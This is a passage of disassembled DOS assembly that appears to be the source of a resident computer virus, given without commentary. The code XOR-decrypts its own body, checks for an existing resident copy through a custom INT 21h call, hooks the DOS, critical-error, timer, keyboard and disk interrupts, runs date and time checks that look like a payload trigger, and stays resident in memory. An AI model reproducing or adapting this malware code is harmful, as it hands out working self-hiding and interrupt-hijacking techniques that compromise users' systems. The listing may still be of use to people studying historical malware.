- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- lds dx,dword ptr cs:data_42e ; (6C23:003C=0) Load 32 bit ptr
- mov ax,2524h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- loc_59:
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf ; Pop flags
- jmp dword ptr cs:data_41e ; (6C23:0038=0)
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_4 proc near
- push ds
- push es
- push di
- push si
- push cx
- push ax
- push cs
- pop es
- push cs
- pop ds
- mov si,6Bh
- mov di,si
- mov cx,0B6h
- mov ah,ds:data_24e ; (6C23:0005=0)
-
- locloop_60:
- lodsb ; String [si] to al
- xor al,ah
- stosb ; Store al to es:[di]
- loop locloop_60 ; Loop if cx > 0
-
- pop ax
- pop cx
- pop si
- pop di
- pop es
- pop ds
- retn
- sub_4 endp
-
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_5 proc near
- xor ax,ax ; Zero register
- mov bx,ax
- mov dx,ax
- mov si,ax
- mov di,ax
- retn
- sub_5 endp
-
- loc_61:
- cld ; Clear direction
- mov ax,4B40h
- int 21h ; DOS Services ah=function 4Bh
- ; run progm @ds:dx, parm @es:bx
- cmp ax,5678h
- jne loc_62 ; Jump if not equal
- mov ax,4B41h
- mov di,100h
- mov si,0BC4h
- add si,di
- mov cx,cs:[di+32h]
- nop ;*Fixup for MASM (M)
- int 21h ; DOS Services ah=function 4Bh
- ; run progm @ds:dx, parm @es:bx
- loc_62:
- mov ax,cs
- add ax,10h
- mov ss,ax
- mov sp,0BB4h
- push ax
- mov ax,900h
- push ax
- retf ; Return far
- db 0FCh, 6, 2Eh, 8Ch, 6, 40h
- db 0, 2Eh, 8Ch, 6, 8Eh, 0
- db 2Eh, 8Ch, 6, 92h, 0, 2Eh
- db 8Ch, 6, 96h, 0, 8Ch, 0C0h
- db 5, 10h, 0, 2Eh, 1, 6
- db 1Eh, 0, 2Eh, 1, 6, 1Ah
- db 0, 0B8h, 40h, 4Bh, 0CDh, 21h
- db 3Dh, 78h, 56h, 75h, 13h, 7
- db 2Eh, 8Eh, 16h, 1Ah, 0, 2Eh
- db 8Bh, 26h, 18h, 0, 0E8h, 8Bh
- db 0FFh, 2Eh, 0FFh, 2Eh, 1Ch, 0
- db 0E8h, 60h, 0FFh, 0B4h, 0, 0CDh
- db 1Ah, 8Bh, 0DAh
- loc_63:
- int 1Ah ; Real time clock ah=func 00h
- ; get system timer count cx,dx
- cmp bx,dx
- je loc_63 ; Jump if equal
- xor si,si ; Zero register
- mov bx,dx
- loc_64:
- int 1Ah ; Real time clock ah=func 00h
- ; get system timer count cx,dx
- inc si
- cmp bx,dx
- je loc_64 ; Jump if equal
- mov word ptr cs:data_48e,0A000h ; (6C23:0064=0)
- mov bx,si
- sub bx,50h
- cmp bx,0A00h
- jae loc_65 ; Jump if above or =
- mov cl,4
- shl bx,cl ; Shift w/zeros fill
- mov cs:data_48e,bx ; (6C23:0064=0)
- loc_65:
- xor ax,ax ; Zero register
- mov es,ax
- mov ax,es:data_1e ; (0000:03FC=0F000h)
- mov cs:data_44e,ax ; (6C23:0042=0)
- mov al,es:data_2e ; (0000:03FE=16h)
- mov cs:data_45e,al ; (6C23:0044=0)
- mov word ptr es:data_1e,0A5F3h ; (0000:03FC=0F000h)
- mov byte ptr es:data_2e,0CBh ; (0000:03FE=16h)
- pop ax
- add ax,10h
- mov es,ax
- push cs
- pop ds
- mov cx,0BC4h
- shr cx,1 ; Shift w/zeros fill
- xor si,si ; Zero register
- mov di,si
- push es
- mov ax,9B3h
- push ax
- ;* jmp far ptr loc_1 ;*(0000:03FC)
- db 0EAh, 0FCh, 3, 0, 0
- db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0B4h
- db 0Bh, 33h, 0C0h, 8Eh, 0D8h, 2Eh
- db 0A1h, 42h, 0, 0A3h, 0FCh, 3
- db 2Eh, 0A0h, 44h, 0, 0A2h, 0FEh
- db 3, 8Bh, 0DCh, 0B1h, 4, 0D3h
- db 0EBh, 83h, 0C3h, 20h, 0B4h, 4Ah
- db 2Eh, 8Eh, 6, 40h, 0, 0CDh
- db 21h, 0B8h, 21h, 35h, 0CDh, 21h
- db 2Eh, 89h, 1Eh, 38h, 0, 2Eh
- db 8Ch, 6, 3Ah, 0, 0Eh, 1Fh
- db 0BAh, 11h, 5, 0B8h, 21h, 25h
- db 0CDh, 21h, 8Eh, 6, 40h, 0
- db 26h, 8Eh, 6, 2Ch, 0, 33h
- db 0FFh, 0B9h, 0FFh, 7Fh, 32h, 0C0h
-
- locloop_66:
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- cmp es:[di],al
- loopnz locloop_66 ; Loop if zf=0, cx>0
-
- mov dx,di
- add dx,3
- mov ax,4B00h
- push es
- pop ds
- push cs
- pop es
- mov bx,8Ah
- push ds
- push es
- push ax
- push bx
- push cx
- push dx
- push cs
- pop ds
- mov ah,2Ah ; '*'
- int 21h ; DOS Services ah=function 2Ah
- ; get date, cx=year, dx=mon/day
- sub cx,7BCh
- mov ax,cx
- mov bx,dx
- mov cx,168h
- mul cx ; dx:ax = reg * ax
- xchg ax,bx
- add bl,al
- adc bh,0
- mov al,ah
- mov cl,1Eh
- mul cl ; ax = reg * al
- add ax,bx
- sub ax,ds:data_37e ; (6C23:0030=0)
- ja loc_67 ; Jump if above
- jmp loc_70 ; (0BD0)
- loc_67:
- add ds:data_37e,ax ; (6C23:0030=0)
- cmp ax,7
- ja loc_68 ; Jump if above
- jmp short loc_70 ; (0BD0)
- db 90h
- loc_68:
- mov ax,3508h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov ds:data_39e,bx ; (6C23:0034=0)
- mov word ptr ds:data_39e+2,es ; (6C23:0036=0)
- push cs
- pop ds
- mov ah,2Ch ; ','
- int 21h ; DOS Services ah=function 2Ch
- ; get time, cx=hrs/min, dh=sec
- mov cl,dh
- and cl,1
- cmp cl,0
- mov dx,2AEh
- mov byte ptr ds:data_51e,0 ; (6C23:0069=0)
- jnz loc_69 ; Jump if not zero
- mov dx,2D2h
- mov byte ptr ds:data_51e,1 ; (6C23:0069=0)
- loc_69:
- mov word ptr ds:data_23e,1 ; (6C23:0003=0)
- mov data_54,0 ; (6C23:0122=0)
- mov data_53,1 ; (6C23:0121=2)
- mov byte ptr ds:data_50e,0 ; (6C23:0068=0)
- mov byte ptr ds:data_52e,0 ; (6C23:006A=0)
- mov ax,2508h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- mov ax,3509h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov ds:data_25e,bx ; (6C23:0006=0)
- mov word ptr ds:data_25e+2,es ; (6C23:0008=0)
- mov dx,35Dh
- mov ax,2509h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- mov ax,3513h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov ds:data_27e,bx ; (6C23:000A=0)
- mov word ptr ds:data_27e+2,es ; (6C23:000C=0)
- mov dx,4EFh
- mov ax,2513h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- loc_70:
- pop dx
- pop cx
- pop bx
- pop ax
- pop es
- pop ds
- pushf ; Push flags
- call dword ptr cs:data_41e ; (6C23:0038=0)
- push ds
- pop es
- mov ah,49h ; 'I'
- int 21h ; DOS Services ah=function 49h
- ; release memory block, es=seg
- mov ah,4Dh ; 'M'
- int 21h ; DOS Services ah=function 4Dh
- ; get return code info in ax
- mov ah,31h ; '1'
- mov dx,0BC4h
- mov cl,4
- shr dx,cl ; Shift w/zeros fill
- add dx,10h
- int 21h ; DOS Services ah=function 31h
- ; terminate & stay resident
- db 154 dup (0)
- db 6Ch, 15h, 2, 2Ah, 8Ah, 0
- db 0BCh, 7, 1, 1, 0C4h, 0Bh
- db 6Ch, 15h, 73h, 12h, 0F4h, 2
- db 4, 7Fh, 0CCh, 0, 0C4h, 0Bh
- db 1Dh, 0, 0, 0, 6Fh, 12h
- db 0AFh, 0Eh, 0F4h, 0Ah, 73h, 12h
- db 6, 0F2h, 82h, 0F0h, 0EBh, 6Fh
- db 66h, 2, 0EBh, 6Fh, 57h, 9
- db 0, 70h, 5Ah, 0, 0, 0C0h
- db 7Ch, 90h
- db 20 dup (90h)
- db 0CDh, 21h
-
- seg_a ends
-
-
-
- end start